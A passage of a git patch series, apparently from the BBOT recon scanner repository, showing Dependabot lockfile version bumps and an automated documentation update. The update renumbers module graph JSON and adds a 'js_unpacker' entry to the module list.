deletions(-) diff --git a/uv.lock b/uv.lock index 4741eaac0f..65557a4a8c 100644 --- a/uv.lock +++ b/uv.lock @@ -2408,15 +2408,15 @@ wheels = [ [[package]] name = "pytest-rerunfailures" -version = "16.6.1" +version = "16.7" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "packaging" }, { name = "pytest" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/20/ce/065fde089d5a7f46fe8372c3f340c7aaa8708734d2e8ae3032f0c29a4b1d/pytest_rerunfailures-16.6.1.tar.gz", hash = "sha256:20ac38d31f9319c4e8f43fe0d0e9c22755508e8e7987a88de6d7fd93fc6bdabb", size = 47719, upload-time = "2026-09-03T06:50:07.893Z" } +sdist = { url = "https://files.pythonhosted.org/packages/d1/b0/6b5337f9d59b26b0069ea3d5e863c31dc04b69e51bbfb1cf2ea6328fba87/pytest_rerunfailures-16.7.tar.gz", hash = "sha256:6956ddfb65ca1d07e7e3d99e2c5359d82300f4cb062e6049563bd2c106f72d5c", size = 59666, upload-time = "2026-09-17T07:08:48.871Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/0b/0d/4da1860f933e271569405fd8adef7f3e7f1c2bd1b544d2ee83a8e0acf1d2/pytest_rerunfailures-16.6.1-py3-none-any.whl", hash = "sha256:0c38d314a0a7e32795f2dbdeeb2b3d141ecf3d3abe10c8c32dae223d45ac7b3d", size = 21035, upload-time = "2026-09-03T06:50:06.601Z" }, + { url = "https://files.pythonhosted.org/packages/c1/d3/07ea35102cf2020ddaaac368d2a6f0bcc63d6523fb8918805bac3eb8b98f/pytest_rerunfailures-16.7-py3-none-any.whl", hash = "sha256:edf1886209c2b7dafe35b5bf1708d6ec40ccf6c6b357f0f02807efcec0204c99", size = 23952, upload-time = "2026-09-17T07:08:47.635Z" }, ] [[package]] From c9f19881452047631781abab300294aa9aa2a4aa Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 28 Sep 2026 08:18:28 -0400 Subject: [PATCH 112/256] Bump idna from 3.19 to 3.20 (#3472) Bumps [idna](https://github.com/kjd/idna) from 3.19 to 3.20. - [Release notes](https://github.com/kjd/idna/releases) - [Changelog](https://github.com/kjd/idna/blob/master/HISTORY.md) - [Commits](https://github.com/kjd/idna/compare/v3.19...v3.20) --- updated-dependencies: - dependency-name: idna dependency-version: '3.20' dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 65557a4a8c..890f9a7161 100644 --- a/uv.lock +++ b/uv.lock @@ -1280,11 +1280,11 @@ wheels = [ [[package]] name = "idna" -version = "3.19" +version = "3.20" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/5f/f7/abb373e5757eaec4b922b92f97ec8d6d7e057cf06778247604fbc4e7c3f3/idna-3.19.tar.gz", hash = "sha256:5e0811a4383b21dc5838069f801c4fb62113b7447663d2530d2bd6e77b49bf15", size = 215237, upload-time = "2026-08-18T05:14:24.27Z" } +sdist = { url = "https://files.pythonhosted.org/packages/f5/08/8eea9d4b8302028f3abb2c0813953f7aec26d33b7a8960ed760e65ff29fa/idna-3.20.tar.gz", hash = "sha256:a7db850025b95ded1eae8a46181a1a6c56c92c96f0e2b005d9ff8dc0210cab44", size = 216463, upload-time = "2026-09-17T14:11:04.752Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/57/b0/0e52c878c53f245edd3a11020f20979b3f490f245af532c7cae3027754b5/idna-3.19-py3-none-any.whl", hash = "sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4", size = 68550, upload-time = "2026-08-18T05:14:22.343Z" }, + { url = "https://files.pythonhosted.org/packages/58/a2/bb081bab032533a855d44de1d56f8e8426114ff1ba5d1f07a438a0a654f8/idna-3.20-py3-none-any.whl", hash = "sha256:ab7ae7122974553370f0bdb919e1a960b2cd1bc1ef0276416d896db81c14582c", size = 69583, upload-time = "2026-09-17T14:11:03.168Z" }, ] [[package]] From b9dfbe172f4513e3d6307f87d7237735cc41d0a5 Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Mon, 28 Sep 2026 08:19:00 -0400 Subject: [PATCH 113/256] [create-pull-request] automated change (#3467) --- docs/data/chord_graph/entities.json | 385 +++++++++++++++------------- docs/data/chord_graph/rels.json | 344 +++++++++++++------------ docs/modules/list_of_modules.md | 1 + docs/scanning/advanced.md | 2 +- docs/scanning/configuration.md | 2 +- docs/scanning/events.md | 72 +++--- docs/scanning/index.md | 48 ++-- docs/scanning/presets_list.md | 3 +- 8 files changed, 448 insertions(+), 409 deletions(-) diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index eb9e8ef6be..9ec790465f 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -27,7 +27,7 @@ "name": "AZURE_TENANT", "parent": 88888888, "consumes": [ - 136 + 137 ], "produces": [ 18 @@ -43,9 +43,9 @@ 81, 85, 88, - 124, - 142, - 144 + 125, + 143, + 145 ], "produces": [ 45, @@ -55,7 +55,7 @@ 83, 86, 87, - 123 + 124 ] }, { @@ -98,28 +98,28 @@ 84, 92, 96, - 105, - 109, - 111, - 115, + 106, + 110, + 112, 116, - 120, - 122, - 125, - 129, + 117, + 121, + 123, + 126, 130, 131, - 133, + 132, 134, - 136, - 138, + 135, + 137, 139, 140, - 143, - 147, + 141, + 144, 148, - 152, - 155 + 149, + 153, + 156 ], "produces": [ 6, @@ -143,24 +143,24 @@ 77, 92, 96, - 105, - 109, - 113, - 115, + 106, + 110, + 114, 116, - 125, - 129, - 131, - 133, - 136, + 117, + 126, + 130, + 132, + 134, 137, 138, 139, - 143, - 147, + 140, + 144, 148, - 152, - 155 + 149, + 153, + 156 ] }, { @@ -169,18 +169,18 @@ "parent": 88888888, "consumes": [ 21, - 136, - 140 + 137, + 141 ], "produces": [] }, { - "id": 150, + "id": 151, "name": "DNS_NAME_UNVERIFIED", "parent": 88888888, "consumes": [], "produces": [ - 149 + 150 ] }, { @@ -198,10 +198,10 @@ 70, 84, 96, - 120, - 130, - 134, - 137 + 121, + 131, + 135, + 138 ] }, { @@ -210,9 +210,9 @@ "parent": 88888888, "consumes": [ 103, - 104, - 144, - 145 + 105, + 145, + 146 ], "produces": [ 8, @@ -222,8 +222,8 @@ 81, 85, 103, - 124, - 145 + 125, + 146 ] }, { @@ -232,7 +232,7 @@ "parent": 88888888, "consumes": [ 15, - 157 + 158 ], "produces": [ 1, @@ -256,24 +256,25 @@ 91, 93, 95, - 106, + 104, 107, 108, - 110, - 112, + 109, + 111, 113, 114, - 126, + 115, 127, - 132, + 128, 133, - 136, - 141, + 134, + 137, 142, - 144, - 146, - 153, - 155 + 143, + 145, + 147, + 154, + 156 ] }, { @@ -309,22 +310,24 @@ 75, 87, 93, - 110, + 104, 111, - 113, - 117, + 112, + 114, 118, 119, - 136, + 120, 137, - 141, - 144 + 138, + 142, + 145 ], "produces": [ 94, - 107, - 149, - 155 + 104, + 108, + 150, + 156 ] }, { @@ -338,18 +341,18 @@ 99, 101, 102, - 111, - 122, - 132, + 112, + 123, 133, - 136 + 134, + 137 ], "produces": [ 15, 40, 62, 101, - 136 + 137 ] }, { @@ -357,8 +360,8 @@ "name": "IP_RANGE", "parent": 88888888, "consumes": [ - 122, - 136 + 123, + 137 ], "produces": [ 62 @@ -383,16 +386,16 @@ 15, 76, 94, - 111, - 121 + 112, + 122 ], "produces": [ 15, 40, - 122, - 132, + 123, 133, - 136 + 134, + 137 ] }, { @@ -402,7 +405,7 @@ "consumes": [], "produces": [ 40, - 132 + 133 ] }, { @@ -413,10 +416,10 @@ 66, 83, 88, - 123 + 124 ], "produces": [ - 136 + 137 ] }, { @@ -434,9 +437,9 @@ "name": "PROTOCOL", "parent": 88888888, "consumes": [ - 106, - 108, - 111 + 107, + 109, + 112 ], "produces": [ 40, @@ -460,10 +463,10 @@ "parent": 88888888, "consumes": [ 72, - 144 + 145 ], "produces": [ - 104 + 105 ] }, { @@ -476,14 +479,14 @@ 86, 87, 89, - 123, - 136 + 124, + 137 ], "produces": [ 66, 84, 87, - 135 + 136 ] }, { @@ -499,7 +502,7 @@ 32, 33, 34, - 136 + 137 ], "produces": [ 28, @@ -517,8 +520,8 @@ "consumes": [ 15, 87, - 142, - 157 + 143, + 158 ], "produces": [ 1, @@ -527,9 +530,9 @@ 69, 87, 89, - 114, - 132, - 133 + 115, + 133, + 134 ] }, { @@ -548,21 +551,21 @@ 91, 94, 97, - 107, - 112, + 108, 113, 114, - 121, - 128, - 136, - 141, - 146, - 149, - 153, + 115, + 122, + 129, + 137, + 142, + 147, + 150, 154, 155, - 157, - 158 + 156, + 158, + 159 ], "produces": [ 89, @@ -574,7 +577,7 @@ "name": "URL_HINT", "parent": 88888888, "consumes": [ - 159 + 160 ], "produces": [ 97 @@ -588,12 +591,12 @@ 45, 75, 94, - 115, - 121, - 127, - 135, + 116, + 122, + 128, 136, - 142 + 137, + 143 ], "produces": [ 18, @@ -609,12 +612,13 @@ 82, 89, 96, - 128, - 130, - 147, - 155, - 158, - 159 + 104, + 129, + 131, + 148, + 156, + 159, + 160 ] }, { @@ -622,7 +626,7 @@ "name": "USERNAME", "parent": 88888888, "consumes": [ - 136 + 137 ], "produces": [ 47, @@ -630,12 +634,12 @@ ] }, { - "id": 151, + "id": 152, "name": "VIRTUAL_HOST", "parent": 88888888, "consumes": [], "produces": [ - 149 + 150 ] }, { @@ -646,7 +650,7 @@ 15 ], "produces": [ - 154 + 155 ] }, { @@ -664,19 +668,19 @@ "parent": 88888888, "consumes": [ 95, - 107, - 117, + 108, 118, 119, - 126, - 156 + 120, + 127, + 157 ], "produces": [ 72, - 117, 118, 119, - 155 + 120, + 156 ] }, { @@ -1545,6 +1549,19 @@ }, { "id": 104, + "name": "js_unpacker", + "parent": 99999999, + "consumes": [ + 2 + ], + "produces": [ + 4, + 2, + 20 + ] + }, + { + "id": 105, "name": "kreuzberg", "parent": 99999999, "consumes": [ @@ -1555,7 +1572,7 @@ ] }, { - "id": 105, + "id": 106, "name": "leakix", "parent": 99999999, "consumes": [ @@ -1566,7 +1583,7 @@ ] }, { - "id": 106, + "id": 107, "name": "legba", "parent": 99999999, "consumes": [ @@ -1577,7 +1594,7 @@ ] }, { - "id": 107, + "id": 108, "name": "lightfuzz", "parent": 99999999, "consumes": [ @@ -1590,7 +1607,7 @@ ] }, { - "id": 108, + "id": 109, "name": "medusa", "parent": 99999999, "consumes": [ @@ -1601,7 +1618,7 @@ ] }, { - "id": 109, + "id": 110, "name": "myssl", "parent": 99999999, "consumes": [ @@ -1612,7 +1629,7 @@ ] }, { - "id": 110, + "id": 111, "name": "newsletters", "parent": 99999999, "consumes": [ @@ -1623,7 +1640,7 @@ ] }, { - "id": 111, + "id": 112, "name": "nmap_xml", "parent": 99999999, "consumes": [ @@ -1636,7 +1653,7 @@ "produces": [] }, { - "id": 112, + "id": 113, "name": "nowafpls", "parent": 99999999, "consumes": [ @@ -1647,7 +1664,7 @@ ] }, { - "id": 113, + "id": 114, "name": "ntlm", "parent": 99999999, "consumes": [ @@ -1660,7 +1677,7 @@ ] }, { - "id": 114, + "id": 115, "name": "nuclei", "parent": 99999999, "consumes": [ @@ -1672,7 +1689,7 @@ ] }, { - "id": 115, + "id": 116, "name": "oauth", "parent": 99999999, "consumes": [ @@ -1684,7 +1701,7 @@ ] }, { - "id": 116, + "id": 117, "name": "otx", "parent": 99999999, "consumes": [ @@ -1695,7 +1712,7 @@ ] }, { - "id": 117, + "id": 118, "name": "paramminer_cookies", "parent": 99999999, "consumes": [ @@ -1707,7 +1724,7 @@ ] }, { - "id": 118, + "id": 119, "name": "paramminer_getparams", "parent": 99999999, "consumes": [ @@ -1719,7 +1736,7 @@ ] }, { - "id": 119, + "id": 120, "name": "paramminer_headers", "parent": 99999999, "consumes": [ @@ -1731,7 +1748,7 @@ ] }, { - "id": 120, + "id": 121, "name": "pgp", "parent": 99999999, "consumes": [ @@ -1742,7 +1759,7 @@ ] }, { - "id": 121, + "id": 122, "name": "portfilter", "parent": 99999999, "consumes": [ @@ -1753,7 +1770,7 @@ "produces": [] }, { - "id": 122, + "id": 123, "name": "portscan", "parent": 99999999, "consumes": [ @@ -1766,7 +1783,7 @@ ] }, { - "id": 123, + "id": 124, "name": "postman", "parent": 99999999, "consumes": [ @@ -1778,7 +1795,7 @@ ] }, { - "id": 124, + "id": 125, "name": "postman_download", "parent": 99999999, "consumes": [ @@ -1789,7 +1806,7 @@ ] }, { - "id": 125, + "id": 126, "name": "rapiddns", "parent": 99999999, "consumes": [ @@ -1800,7 +1817,7 @@ ] }, { - "id": 126, + "id": 127, "name": "reflected_parameters", "parent": 99999999, "consumes": [ @@ -1811,7 +1828,7 @@ ] }, { - "id": 127, + "id": 128, "name": "retirejs", "parent": 99999999, "consumes": [ @@ -1822,7 +1839,7 @@ ] }, { - "id": 128, + "id": 129, "name": "robots", "parent": 99999999, "consumes": [ @@ -1833,7 +1850,7 @@ ] }, { - "id": 129, + "id": 130, "name": "securitytrails", "parent": 99999999, "consumes": [ @@ -1844,7 +1861,7 @@ ] }, { - "id": 130, + "id": 131, "name": "securitytxt", "parent": 99999999, "consumes": [ @@ -1856,7 +1873,7 @@ ] }, { - "id": 131, + "id": 132, "name": "shodan_dns", "parent": 99999999, "consumes": [ @@ -1867,7 +1884,7 @@ ] }, { - "id": 132, + "id": 133, "name": "shodan_enterprise", "parent": 99999999, "consumes": [ @@ -1881,7 +1898,7 @@ ] }, { - "id": 133, + "id": 134, "name": "shodan_idb", "parent": 99999999, "consumes": [ @@ -1896,7 +1913,7 @@ ] }, { - "id": 134, + "id": 135, "name": "skymem", "parent": 99999999, "consumes": [ @@ -1907,7 +1924,7 @@ ] }, { - "id": 135, + "id": 136, "name": "social", "parent": 99999999, "consumes": [ @@ -1918,7 +1935,7 @@ ] }, { - "id": 136, + "id": 137, "name": "speculate", "parent": 99999999, "consumes": [ @@ -1943,7 +1960,7 @@ ] }, { - "id": 137, + "id": 138, "name": "sslcert", "parent": 99999999, "consumes": [ @@ -1955,7 +1972,7 @@ ] }, { - "id": 138, + "id": 139, "name": "subdomaincenter", "parent": 99999999, "consumes": [ @@ -1966,7 +1983,7 @@ ] }, { - "id": 139, + "id": 140, "name": "subdomainradar", "parent": 99999999, "consumes": [ @@ -1977,7 +1994,7 @@ ] }, { - "id": 140, + "id": 141, "name": "subdomains", "parent": 99999999, "consumes": [ @@ -1987,7 +2004,7 @@ "produces": [] }, { - "id": 141, + "id": 142, "name": "telerik", "parent": 99999999, "consumes": [ @@ -1999,7 +2016,7 @@ ] }, { - "id": 142, + "id": 143, "name": "trajan", "parent": 99999999, "consumes": [ @@ -2012,7 +2029,7 @@ ] }, { - "id": 143, + "id": 144, "name": "trickest", "parent": 99999999, "consumes": [ @@ -2023,7 +2040,7 @@ ] }, { - "id": 144, + "id": 145, "name": "trufflehog", "parent": 99999999, "consumes": [ @@ -2037,7 +2054,7 @@ ] }, { - "id": 145, + "id": 146, "name": "unarchive", "parent": 99999999, "consumes": [ @@ -2048,7 +2065,7 @@ ] }, { - "id": 146, + "id": 147, "name": "url_manipulation", "parent": 99999999, "consumes": [ @@ -2059,7 +2076,7 @@ ] }, { - "id": 147, + "id": 148, "name": "urlscan", "parent": 99999999, "consumes": [ @@ -2071,7 +2088,7 @@ ] }, { - "id": 148, + "id": 149, "name": "viewdns", "parent": 99999999, "consumes": [ @@ -2082,20 +2099,20 @@ ] }, { - "id": 149, + "id": 150, "name": "virtualhost", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 150, + 151, 2, - 151 + 152 ] }, { - "id": 152, + "id": 153, "name": "virustotal", "parent": 99999999, "consumes": [ @@ -2106,7 +2123,7 @@ ] }, { - "id": 153, + "id": 154, "name": "waf_bypass", "parent": 99999999, "consumes": [ @@ -2117,7 +2134,7 @@ ] }, { - "id": 154, + "id": 155, "name": "wafw00f", "parent": 99999999, "consumes": [ @@ -2128,7 +2145,7 @@ ] }, { - "id": 155, + "id": 156, "name": "wayback", "parent": 99999999, "consumes": [ @@ -2144,7 +2161,7 @@ ] }, { - "id": 156, + "id": 157, "name": "web_parameters", "parent": 99999999, "consumes": [ @@ -2153,7 +2170,7 @@ "produces": [] }, { - "id": 157, + "id": 158, "name": "web_report", "parent": 99999999, "consumes": [ @@ -2164,7 +2181,7 @@ "produces": [] }, { - "id": 158, + "id": 159, "name": "webbrute", "parent": 99999999, "consumes": [ @@ -2175,7 +2192,7 @@ ] }, { - "id": 159, + "id": 160, "name": "webbrute_shortnames", "parent": 99999999, "consumes": [ diff --git a/docs/data/chord_graph/rels.json b/docs/data/chord_graph/rels.json index 631acfffe1..938d9eb99f 100644 --- a/docs/data/chord_graph/rels.json +++ b/docs/data/chord_graph/rels.json @@ -1091,807 +1091,827 @@ }, { "source": 104, - "target": 10, + "target": 2, "type": "consumes" }, { - "source": 73, + "source": 4, + "target": 104, + "type": "produces" + }, + { + "source": 2, + "target": 104, + "type": "produces" + }, + { + "source": 20, "target": 104, "type": "produces" }, { "source": 105, - "target": 7, + "target": 10, "type": "consumes" }, { - "source": 7, + "source": 73, "target": 105, "type": "produces" }, { "source": 106, - "target": 42, + "target": 7, "type": "consumes" }, { - "source": 4, + "source": 7, "target": 106, "type": "produces" }, { "source": 107, + "target": 42, + "type": "consumes" + }, + { + "source": 4, + "target": 107, + "type": "produces" + }, + { + "source": 108, "target": 3, "type": "consumes" }, { - "source": 107, + "source": 108, "target": 74, "type": "consumes" }, { "source": 4, - "target": 107, + "target": 108, "type": "produces" }, { "source": 2, - "target": 107, + "target": 108, "type": "produces" }, { - "source": 108, + "source": 109, "target": 42, "type": "consumes" }, { "source": 4, - "target": 108, + "target": 109, "type": "produces" }, { - "source": 109, + "source": 110, "target": 7, "type": "consumes" }, { "source": 7, - "target": 109, + "target": 110, "type": "produces" }, { - "source": 110, + "source": 111, "target": 2, "type": "consumes" }, { "source": 4, - "target": 110, + "target": 111, "type": "produces" }, { - "source": 111, + "source": 112, "target": 7, "type": "consumes" }, { - "source": 111, + "source": 112, "target": 2, "type": "consumes" }, { - "source": 111, + "source": 112, "target": 12, "type": "consumes" }, { - "source": 111, + "source": 112, "target": 16, "type": "consumes" }, { - "source": 111, + "source": 112, "target": 42, "type": "consumes" }, { - "source": 112, + "source": 113, "target": 3, "type": "consumes" }, { "source": 4, - "target": 112, + "target": 113, "type": "produces" }, { - "source": 113, + "source": 114, "target": 2, "type": "consumes" }, { - "source": 113, + "source": 114, "target": 3, "type": "consumes" }, { "source": 7, - "target": 113, + "target": 114, "type": "produces" }, { "source": 4, - "target": 113, + "target": 114, "type": "produces" }, { - "source": 114, + "source": 115, "target": 3, "type": "consumes" }, { "source": 4, - "target": 114, + "target": 115, "type": "produces" }, { "source": 5, - "target": 114, + "target": 115, "type": "produces" }, { - "source": 115, + "source": 116, "target": 7, "type": "consumes" }, { - "source": 115, + "source": 116, "target": 20, "type": "consumes" }, { "source": 7, - "target": 115, + "target": 116, "type": "produces" }, { - "source": 116, + "source": 117, "target": 7, "type": "consumes" }, { "source": 7, - "target": 116, + "target": 117, "type": "produces" }, { - "source": 117, + "source": 118, "target": 2, "type": "consumes" }, { - "source": 117, + "source": 118, "target": 74, "type": "consumes" }, { "source": 74, - "target": 117, + "target": 118, "type": "produces" }, { - "source": 118, + "source": 119, "target": 2, "type": "consumes" }, { - "source": 118, + "source": 119, "target": 74, "type": "consumes" }, { "source": 74, - "target": 118, + "target": 119, "type": "produces" }, { - "source": 119, + "source": 120, "target": 2, "type": "consumes" }, { - "source": 119, + "source": 120, "target": 74, "type": "consumes" }, { "source": 74, - "target": 119, + "target": 120, "type": "produces" }, { - "source": 120, + "source": 121, "target": 7, "type": "consumes" }, { "source": 48, - "target": 120, + "target": 121, "type": "produces" }, { - "source": 121, + "source": 122, "target": 16, "type": "consumes" }, { - "source": 121, + "source": 122, "target": 3, "type": "consumes" }, { - "source": 121, + "source": 122, "target": 20, "type": "consumes" }, { - "source": 122, + "source": 123, "target": 7, "type": "consumes" }, { - "source": 122, + "source": 123, "target": 12, "type": "consumes" }, { - "source": 122, + "source": 123, "target": 63, "type": "consumes" }, { "source": 16, - "target": 122, + "target": 123, "type": "produces" }, { - "source": 123, + "source": 124, "target": 67, "type": "consumes" }, { - "source": 123, + "source": 124, "target": 68, "type": "consumes" }, { "source": 46, - "target": 123, + "target": 124, "type": "produces" }, { - "source": 124, + "source": 125, "target": 46, "type": "consumes" }, { "source": 10, - "target": 124, + "target": 125, "type": "produces" }, { - "source": 125, + "source": 126, "target": 7, "type": "consumes" }, { "source": 7, - "target": 125, + "target": 126, "type": "produces" }, { - "source": 126, + "source": 127, "target": 74, "type": "consumes" }, { "source": 4, - "target": 126, + "target": 127, "type": "produces" }, { - "source": 127, + "source": 128, "target": 20, "type": "consumes" }, { "source": 4, - "target": 127, + "target": 128, "type": "produces" }, { - "source": 128, + "source": 129, "target": 3, "type": "consumes" }, { "source": 20, - "target": 128, + "target": 129, "type": "produces" }, { - "source": 129, + "source": 130, "target": 7, "type": "consumes" }, { "source": 7, - "target": 129, + "target": 130, "type": "produces" }, { - "source": 130, + "source": 131, "target": 7, "type": "consumes" }, { "source": 48, - "target": 130, + "target": 131, "type": "produces" }, { "source": 20, - "target": 130, + "target": 131, "type": "produces" }, { - "source": 131, + "source": 132, "target": 7, "type": "consumes" }, { "source": 7, - "target": 131, + "target": 132, "type": "produces" }, { - "source": 132, + "source": 133, "target": 12, "type": "consumes" }, { "source": 4, - "target": 132, + "target": 133, "type": "produces" }, { "source": 16, - "target": 132, + "target": 133, "type": "produces" }, { "source": 41, - "target": 132, + "target": 133, "type": "produces" }, { "source": 5, - "target": 132, + "target": 133, "type": "produces" }, { - "source": 133, + "source": 134, "target": 7, "type": "consumes" }, { - "source": 133, + "source": 134, "target": 12, "type": "consumes" }, { "source": 7, - "target": 133, + "target": 134, "type": "produces" }, { "source": 4, - "target": 133, + "target": 134, "type": "produces" }, { "source": 16, - "target": 133, + "target": 134, "type": "produces" }, { "source": 5, - "target": 133, + "target": 134, "type": "produces" }, { - "source": 134, + "source": 135, "target": 7, "type": "consumes" }, { "source": 48, - "target": 134, + "target": 135, "type": "produces" }, { - "source": 135, + "source": 136, "target": 20, "type": "consumes" }, { "source": 68, - "target": 135, + "target": 136, "type": "produces" }, { - "source": 136, + "source": 137, "target": 19, "type": "consumes" }, { - "source": 136, + "source": 137, "target": 7, "type": "consumes" }, { - "source": 136, + "source": 137, "target": 22, "type": "consumes" }, { - "source": 136, + "source": 137, "target": 2, "type": "consumes" }, { - "source": 136, + "source": 137, "target": 12, "type": "consumes" }, { - "source": 136, + "source": 137, "target": 63, "type": "consumes" }, { - "source": 136, + "source": 137, "target": 68, "type": "consumes" }, { - "source": 136, + "source": 137, "target": 24, "type": "consumes" }, { - "source": 136, + "source": 137, "target": 3, "type": "consumes" }, { - "source": 136, + "source": 137, "target": 20, "type": "consumes" }, { - "source": 136, + "source": 137, "target": 51, "type": "consumes" }, { "source": 7, - "target": 136, + "target": 137, "type": "produces" }, { "source": 4, - "target": 136, + "target": 137, "type": "produces" }, { "source": 12, - "target": 136, + "target": 137, "type": "produces" }, { "source": 16, - "target": 136, + "target": 137, "type": "produces" }, { "source": 67, - "target": 136, + "target": 137, "type": "produces" }, { - "source": 137, + "source": 138, "target": 2, "type": "consumes" }, { "source": 7, - "target": 137, + "target": 138, "type": "produces" }, { "source": 48, - "target": 137, + "target": 138, "type": "produces" }, { - "source": 138, + "source": 139, "target": 7, "type": "consumes" }, { "source": 7, - "target": 138, + "target": 139, "type": "produces" }, { - "source": 139, + "source": 140, "target": 7, "type": "consumes" }, { "source": 7, - "target": 139, + "target": 140, "type": "produces" }, { - "source": 140, + "source": 141, "target": 7, "type": "consumes" }, { - "source": 140, + "source": 141, "target": 22, "type": "consumes" }, { - "source": 141, + "source": 142, "target": 2, "type": "consumes" }, { - "source": 141, + "source": 142, "target": 3, "type": "consumes" }, { "source": 4, - "target": 141, + "target": 142, "type": "produces" }, { - "source": 142, + "source": 143, "target": 46, "type": "consumes" }, { - "source": 142, + "source": 143, "target": 5, "type": "consumes" }, { - "source": 142, + "source": 143, "target": 20, "type": "consumes" }, { "source": 4, - "target": 142, + "target": 143, "type": "produces" }, { - "source": 143, + "source": 144, "target": 7, "type": "consumes" }, { "source": 7, - "target": 143, + "target": 144, "type": "produces" }, { - "source": 144, + "source": 145, "target": 46, "type": "consumes" }, { - "source": 144, + "source": 145, "target": 10, "type": "consumes" }, { - "source": 144, + "source": 145, "target": 2, "type": "consumes" }, { - "source": 144, + "source": 145, "target": 73, "type": "consumes" }, { "source": 4, - "target": 144, + "target": 145, "type": "produces" }, { - "source": 145, + "source": 146, "target": 10, "type": "consumes" }, { "source": 10, - "target": 145, + "target": 146, "type": "produces" }, { - "source": 146, + "source": 147, "target": 3, "type": "consumes" }, { "source": 4, - "target": 146, + "target": 147, "type": "produces" }, { - "source": 147, + "source": 148, "target": 7, "type": "consumes" }, { "source": 7, - "target": 147, + "target": 148, "type": "produces" }, { "source": 20, - "target": 147, + "target": 148, "type": "produces" }, { - "source": 148, + "source": 149, "target": 7, "type": "consumes" }, { "source": 7, - "target": 148, + "target": 149, "type": "produces" }, { - "source": 149, + "source": 150, "target": 3, "type": "consumes" }, { - "source": 150, - "target": 149, + "source": 151, + "target": 150, "type": "produces" }, { "source": 2, - "target": 149, + "target": 150, "type": "produces" }, { - "source": 151, - "target": 149, + "source": 152, + "target": 150, "type": "produces" }, { - "source": 152, + "source": 153, "target": 7, "type": "consumes" }, { "source": 7, - "target": 152, + "target": 153, "type": "produces" }, { - "source": 153, + "source": 154, "target": 3, "type": "consumes" }, { "source": 4, - "target": 153, + "target": 154, "type": "produces" }, { - "source": 154, + "source": 155, "target": 3, "type": "consumes" }, { "source": 17, - "target": 154, + "target": 155, "type": "produces" }, { - "source": 155, + "source": 156, "target": 7, "type": "consumes" }, { - "source": 155, + "source": 156, "target": 3, "type": "consumes" }, { "source": 7, - "target": 155, + "target": 156, "type": "produces" }, { "source": 4, - "target": 155, + "target": 156, "type": "produces" }, { "source": 2, - "target": 155, + "target": 156, "type": "produces" }, { "source": 20, - "target": 155, + "target": 156, "type": "produces" }, { "source": 74, - "target": 155, + "target": 156, "type": "produces" }, { - "source": 156, + "source": 157, "target": 74, "type": "consumes" }, { - "source": 157, + "source": 158, "target": 4, "type": "consumes" }, { - "source": 157, + "source": 158, "target": 5, "type": "consumes" }, { - "source": 157, + "source": 158, "target": 3, "type": "consumes" }, { - "source": 158, + "source": 159, "target": 3, "type": "consumes" }, { "source": 20, - "target": 158, + "target": 159, "type": "produces" }, { - "source": 159, + "source": 160, "target": 98, "type": "consumes" }, { "source": 20, - "target": 159, + "target": 160, "type": "produces" } ] \ No newline at end of file diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 1498cc763c..288416b87b 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -32,6 +32,7 @@ | http | scan | No | Visit webpages using blasthttp (native Rust HTTP engine) | active, cloud-enum, safe, social-enum, subdomain-enum, web | OPEN_TCP_PORT, URL, URL_UNVERIFIED | HTTP_RESPONSE, URL | @liquidsec | 2026-03-08 | | hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | | iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, loud, web | URL | URL_HINT | @liquidsec | 2022-04-15 | +| js_unpacker | scan | No | Detect and unpack JavaScript obfuscation/packing frameworks | active, safe, web | HTTP_RESPONSE | FINDING, HTTP_RESPONSE, URL_UNVERIFIED | @liquidsec | 2026-06-05 | | legba | scan | No | Credential bruteforcing supporting various services. | active, invasive, loud | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | | lightfuzz | scan | No | BBOT's DAST module — lightly fuzz web parameters discovered during recon for common vulnerability classes | active, invasive, loud, web-heavy | URL, WEB_PARAMETER | FINDING, HTTP_RESPONSE | @liquidsec | 2024-06-28 | | medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, invasive, loud | PROTOCOL | FINDING | @christianfl | 2025-05-16 | diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 83fc75c68c..90088f186d 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -78,7 +78,7 @@ Presets: Modules: -m, --modules MODULE [MODULE ...] - Modules to enable. Choices: 